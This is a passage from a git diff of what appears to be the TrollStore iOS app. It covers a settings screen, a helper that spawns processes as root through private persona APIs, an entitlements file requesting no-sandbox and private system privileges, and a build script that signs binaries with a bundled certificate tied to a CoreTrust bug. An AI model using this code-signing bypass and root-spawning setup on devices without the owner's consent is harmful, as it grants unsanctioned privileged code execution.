registrations, which will make them work again." forKey:@"footerText"]; + PSSpecifier* installedPersistenceHelperSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Helper Installed as Standalone App" + target:self + set:nil + get:nil + detail:nil + cell:PSStaticTextCell + edit:nil]; + installedPersistenceHelperSpecifier.identifier = @"persistenceHelperInstalled"; + [_specifiers addObject:installedPersistenceHelperSpecifier]; + } + else + { + LSApplicationProxy* persistenceApp = findPersistenceHelperApp(); + if(persistenceApp) + { + NSString* appName = [persistenceApp localizedName]; + + [persistenceGroupSpecifier setProperty:[NSString stringWithFormat:@"When iOS rebuilds the icon cache, all TrollStore apps including TrollStore itself will be reverted to \"User\" state and either disappear or no longer launch. If that happens, you can use the persistence helper installed into %@ to refresh the app registrations, which will make them work again.", appName] forKey:@"footerText"]; + PSSpecifier* installedPersistenceHelperSpecifier = [PSSpecifier preferenceSpecifierNamed:[NSString stringWithFormat:@"Helper Installed into %@", appName] + target:self + set:nil + get:nil + detail:nil + cell:PSStaticTextCell + edit:nil]; + + installedPersistenceHelperSpecifier.identifier = @"persistenceHelperInstalled"; + [_specifiers addObject:installedPersistenceHelperSpecifier]; + + PSSpecifier* uninstallPersistenceHelperSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall Persistence Helper" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + + uninstallPersistenceHelperSpecifier.identifier = @"uninstallPersistenceHelper"; + [uninstallPersistenceHelperSpecifier setProperty:@YES forKey:@"enabled"]; + [uninstallPersistenceHelperSpecifier setProperty:NSClassFromString(@"PSDeleteButtonCell") forKey:@"cellClass"]; + uninstallPersistenceHelperSpecifier.buttonAction = @selector(uninstallPersistenceHelperPressed); + [_specifiers addObject:uninstallPersistenceHelperSpecifier]; + } + else + { + [persistenceGroupSpecifier setProperty:@"When iOS rebuilds the icon cache, all TrollStore apps including TrollStore itself will be reverted to \"User\" state and either disappear or no longer launch. The only way to have persistence in a rootless environment is to replace a system application, here you can select a system app to replace with a persistence helper that can be used to refresh the registrations of all TrollStore related apps in case they disappear or no longer launch." forKey:@"footerText"]; + + _installPersistenceHelperSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install Persistence Helper" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + _installPersistenceHelperSpecifier.identifier = @"installPersistenceHelper"; + [_installPersistenceHelperSpecifier setProperty:@YES forKey:@"enabled"]; + _installPersistenceHelperSpecifier.buttonAction = @selector(installPersistenceHelperPressed); + [_specifiers addObject:_installPersistenceHelperSpecifier]; + } + } + + PSSpecifier* otherGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + [otherGroupSpecifier setProperty:[NSString stringWithFormat:@"TrollStore %@\n\n© 2022 Lars Fröder (opa334)\n\nCredits:\n@LinusHenze: CoreTrust bug\n@zhuowei: CoreTrust bug writeup and cert\n@ProcursusTeam: uicache and ldid build\n@cstar_ow: uicache\n@saurik: ldid", getTrollStoreVersion()] forKey:@"footerText"]; + [_specifiers addObject:otherGroupSpecifier]; + + // Uninstall TrollStore + PSSpecifier* uninstallTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall TrollStore" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + uninstallTrollStoreSpecifier.identifier = @"uninstallTrollStore"; + [uninstallTrollStoreSpecifier setProperty:@YES forKey:@"enabled"]; + [uninstallTrollStoreSpecifier setProperty:NSClassFromString(@"PSDeleteButtonCell") forKey:@"cellClass"]; + uninstallTrollStoreSpecifier.buttonAction = @selector(uninstallTrollStorePressed); + [_specifiers addObject:uninstallTrollStoreSpecifier]; + } + + [(UINavigationItem *)self.navigationItem setTitle:@"Settings"]; + return _specifiers; +} + +- (void)respringButtonPressed +{ + respring(); +} + +- (void)rebuildIconCachePressed +{ + [self startActivity:@"Rebuilding Icon Cache"]; + + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^ + { + spawnRoot(helperPath(), @[@"refresh-all"]); + + dispatch_async(dispatch_get_main_queue(), ^ + { + [self stopActivityWithCompletion:nil]; + }); + }); +} + +- (void)installLdidPressed +{ + NSURL* ldidURL = [NSURL URLWithString:@"https://github.com/opa334/ldid/releases/download/v2.1.5-procursus5/ldid"]; + NSURLRequest* ldidRequest = [NSURLRequest requestWithURL:ldidURL]; + + [self startActivity:@"Installing ldid"]; + + NSURLSessionDownloadTask* downloadTask = [NSURLSession.sharedSession downloadTaskWithRequest:ldidRequest completionHandler:^(NSURL *location, NSURLResponse *response, NSError *error) + { + if(error) + { + UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error downloading ldid: %@", error] preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; + [errorAlert addAction:closeAction]; + + dispatch_async(dispatch_get_main_queue(), ^ + { + [self stopActivityWithCompletion:^ + { + [self presentViewController:errorAlert animated:YES completion:nil]; + }]; + }); + } + else + { + spawnRoot(helperPath(), @[@"install-ldid", location.path]); + dispatch_async(dispatch_get_main_queue(), ^ + { + [self stopActivityWithCompletion:nil]; + [self reloadSpecifiers]; + }); + } + }]; + + [downloadTask resume]; +} + +- (void)installPersistenceHelperPressed +{ + NSMutableArray* appCandidates = [NSMutableArray new]; + [[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:1 block:^(LSApplicationProxy* appProxy) + { + if(appProxy.installed && !appProxy.restricted) + { + if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"]) + { + NSURL* trollStoreMarkURL = [appProxy.bundleURL.URLByDeletingLastPathComponent URLByAppendingPathComponent:@"_TrollStore"]; + if(![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil]) + { + [appCandidates addObject:appProxy]; + } + } + } + }]; + + UIAlertController* selectAppAlert = [UIAlertController alertControllerWithTitle:@"Select App" message:@"Select a system app to install the TrollStore Persistence Helper into. The normal function of the app will not be available, so it is recommended to pick something useless like the Tips app." preferredStyle:UIAlertControllerStyleActionSheet]; + for(LSApplicationProxy* appProxy in appCandidates) + { + UIAlertAction* installAction = [UIAlertAction actionWithTitle:[appProxy localizedName] style:UIAlertActionStyleDefault handler:^(UIAlertAction* action) + { + spawnRoot(helperPath(), @[@"install-persistence-helper", appProxy.bundleIdentifier]); + [self reloadSpecifiers]; + }]; + + [selectAppAlert addAction:installAction]; + } + + NSIndexPath* indexPath = [self indexPathForSpecifier:_installPersistenceHelperSpecifier]; + UITableView* tableView = [self valueForKey:@"_table"]; + selectAppAlert.popoverPresentationController.sourceView = tableView; + selectAppAlert.popoverPresentationController.sourceRect = [tableView rectForRowAtIndexPath:indexPath]; + + UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]; + [selectAppAlert addAction:cancelAction]; + + [self presentViewController:selectAppAlert animated:YES completion:nil]; +} + +- (void)uninstallPersistenceHelperPressed +{ + spawnRoot(helperPath(), @[@"uninstall-persistence-helper"]); + [self reloadSpecifiers]; +} + +- (void)uninstallTrollStorePressed +{ + UIAlertController* uninstallWarningAlert = [UIAlertController alertControllerWithTitle:@"Warning" message:@"About to uninstall TrollStore and all of the apps installed by it. Continue?" preferredStyle:UIAlertControllerStyleAlert]; + + UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]; + [uninstallWarningAlert addAction:cancelAction]; + + UIAlertAction* continueAction = [UIAlertAction actionWithTitle:@"Continue" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action) + { + spawnRoot(helperPath(), @[@"uninstall-trollstore"]); + exit(0); + }]; + [uninstallWarningAlert addAction:continueAction]; + + [self presentViewController:uninstallWarningAlert animated:YES completion:nil]; +} + +@end \ No newline at end of file diff --git a/Store/TSUtil.h b/Store/TSUtil.h new file mode 100644 index 0000000..fc2ab3e --- /dev/null +++ b/Store/TSUtil.h @@ -0,0 +1,6 @@ +@import Foundation; + +extern NSString* helperPath(void); +extern int spawnRoot(NSString* path, NSArray* args); +extern void respring(void); +extern NSString* getTrollStoreVersion(void); \ No newline at end of file diff --git a/Store/TSUtil.m b/Store/TSUtil.m new file mode 100644 index 0000000..f3691a1 --- /dev/null +++ b/Store/TSUtil.m @@ -0,0 +1,139 @@ +#import "TSUtil.h" + +#import +#import +#import + +#define POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE 1 +extern int posix_spawnattr_set_persona_np(const posix_spawnattr_t* __restrict, uid_t, uint32_t); +extern int posix_spawnattr_set_persona_uid_np(const posix_spawnattr_t* __restrict, uid_t); +extern int posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restrict, uid_t); + +NSString* helperPath(void) +{ + return [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"trollstorehelper"]; +} + +int spawnRoot(NSString* path, NSArray* args) +{ + NSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new]; + [argsM insertObject:path.lastPathComponent atIndex:0]; + + NSUInteger argCount = [argsM count]; + char **argsC = (char **)malloc((argCount + 1) * sizeof(char*)); + + for (NSUInteger i = 0; i < argCount; i++) + { + argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]); + } + argsC[argCount] = NULL; + + int rv; + posix_spawnattr_t attr; + rv = posix_spawnattr_init(&attr); + if(rv != 0) return rv; + + posix_spawnattr_set_persona_np(&attr, 99, POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE); + posix_spawnattr_set_persona_uid_np(&attr, 0); + posix_spawnattr_set_persona_gid_np(&attr, 0); + + pid_t task_pid; + int status = -200; + int spawnError = posix_spawn(&task_pid, [path UTF8String], NULL, &attr, (char* const*)argsC, NULL); + posix_spawnattr_destroy(&attr); + for (NSUInteger i = 0; i < argCount; i++) + { + free(argsC[i]); + } + free(argsC); + + if(spawnError != 0) + { + NSLog(@"posix_spawn error %d\n", spawnError); + return spawnError; + } + + do + { + if (waitpid(task_pid, &status, 0) != -1) { + printf("Child status %dn", WEXITSTATUS(status)); + } else + { + perror("waitpid"); + return -222; + } + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + + return WEXITSTATUS(status); +} + +void enumerateProcessesUsingBlock(void (^enumerator)(pid_t pid, NSString* executablePath, BOOL* stop)) +{ + static int maxArgumentSize = 0; + if (maxArgumentSize == 0) { + size_t size = sizeof(maxArgumentSize); + if (sysctl((int[]){ CTL_KERN, KERN_ARGMAX }, 2, &maxArgumentSize, &size, NULL, 0) == -1) { + perror("sysctl argument size"); + maxArgumentSize = 4096; // Default + } + } + int mib[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL}; + struct kinfo_proc *info; + size_t length; + int count; + + if (sysctl(mib, 3, NULL, &length, NULL, 0) < 0) + return; + if (!(info = malloc(length))) + return; + if (sysctl(mib, 3, info, &length, NULL, 0) < 0) { + free(info); + return; + } + count = length / sizeof(struct kinfo_proc); + for (int i = 0; i < count; i++) { + @autoreleasepool { + pid_t pid = info[i].kp_proc.p_pid; + if (pid == 0) { + continue; + } + size_t size = maxArgumentSize; + char* buffer = (char *)malloc(length); + if (sysctl((int[]){ CTL_KERN, KERN_PROCARGS2, pid }, 3, buffer, &size, NULL, 0) == 0) { + NSString* executablePath = [NSString stringWithCString:(buffer+sizeof(int)) encoding:NSUTF8StringEncoding]; + + BOOL stop = NO; + enumerator(pid, executablePath, &stop); + if(stop) + { + free(buffer); + break; + } + } + free(buffer); + } + } + free(info); +} + +void killall(NSString* processName) +{ + enumerateProcessesUsingBlock(^(pid_t pid, NSString* executablePath, BOOL* stop) + { + if([executablePath.lastPathComponent isEqualToString:processName]) + { + kill(pid, SIGTERM); + } + }); +} + +void respring(void) +{ + killall(@"SpringBoard"); + exit(0); +} + +NSString* getTrollStoreVersion(void) +{ + return [NSBundle.mainBundle objectForInfoDictionaryKey:@"CFBundleVersion"]; +} diff --git a/Store/control b/Store/control new file mode 100644 index 0000000..658ea62 --- /dev/null +++ b/Store/control @@ -0,0 +1,8 @@ +Package: com.opa334.trollstore +Name: TrollStore +Version: 1.0 +Architecture: iphoneos-arm +Description: An awesome application! +Maintainer: opa334 +Author: opa334 +Section: Utilities diff --git a/Store/entitlements.plist b/Store/entitlements.plist new file mode 100644 index 0000000..e3a4663 --- /dev/null +++ b/Store/entitlements.plist @@ -0,0 +1,34 @@ + + + + + application-identifier + com.opa334.TrollStore + platform-application + + com.apple.security.exception.files.absolute-path.read-write + + / + + com.apple.private.security.no-sandbox + + com.apple.private.persona-mgmt + + com.apple.private.security.system-application + + com.apple.private.security.container-manager + + com.apple.private.coreservices.canmaplsdatabase + + com.apple.lsapplicationworkspace.rebuildappdatabases + + com.apple.private.MobileContainerManager.allowed + + com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled + + com.apple.private.MobileInstallationHelperService.allowed + + com.apple.private.uninstall.deletion + + + \ No newline at end of file diff --git a/Store/main.m b/Store/main.m new file mode 100644 index 0000000..bcb818c --- /dev/null +++ b/Store/main.m @@ -0,0 +1,8 @@ +#import +#import "TSAppDelegate.h" + +int main(int argc, char *argv[]) { + @autoreleasepool { + return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSAppDelegate.class)); + } +} diff --git a/_compile/build_full.sh b/_compile/build_full.sh new file mode 100755 index 0000000..1ece343 --- /dev/null +++ b/_compile/build_full.sh @@ -0,0 +1,47 @@ +#!/bin/sh + +if [ -d "./out" ] +then + rm -rf ./out +fi +mkdir -p ./out + +# Step one: Compile TrollStore + +cd ../Store +make clean +make FINALPACKAGE=1 +cd - + +cp -r ../Store/.theos/obj/TrollStore.app ./out/TrollStore.app +ldid -S -M -Kcert.p12 ./out/TrollStore.app + +# Step two: Compile and permasign helper + +cd ../Helper +make clean +make FINALPACKAGE=1 +cd - + +cp ../Helper/.theos/obj/trollstorehelper ./out/TrollStore.app/trollstorehelper +ldid -S -M -Kcert.p12 ./out/TrollStore.app/trollstorehelper + +# Step three: Compile and permasign persistence helper + +# (copy helper into persistence helper) +cp ./out/TrollStore.app/trollstorehelper ../PersistenceHelper/Resources/trollstorehelper + +cd ../PersistenceHelper +make clean +make package FINALPACKAGE=1 +cd - + +cp ../PersistenceHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./out/TrollStore.app/PersistenceHelper +ldid -S -M -Kcert.p12 ./out/TrollStore.app/PersistenceHelper + +# Step four: tar everything + +cd out +COPYFILE_DISABLE=1 tar -czvf TrollStore.tar ./TrollStore.app +rm -rf ./TrollStore.app +cd - diff --git a/_compile/cert.p12 b/_compile/cert.p12 new file mode 100644 index 0000000000000000000000000000000000000000..378b83b15ab4c7fb4e4657a8bd011606819bdcfd GIT binary patch literal 4901 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%0A%eY%p<3f6qO?%x;C$LR^Q>Vb=(pMb&Sswz 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 XCgQiz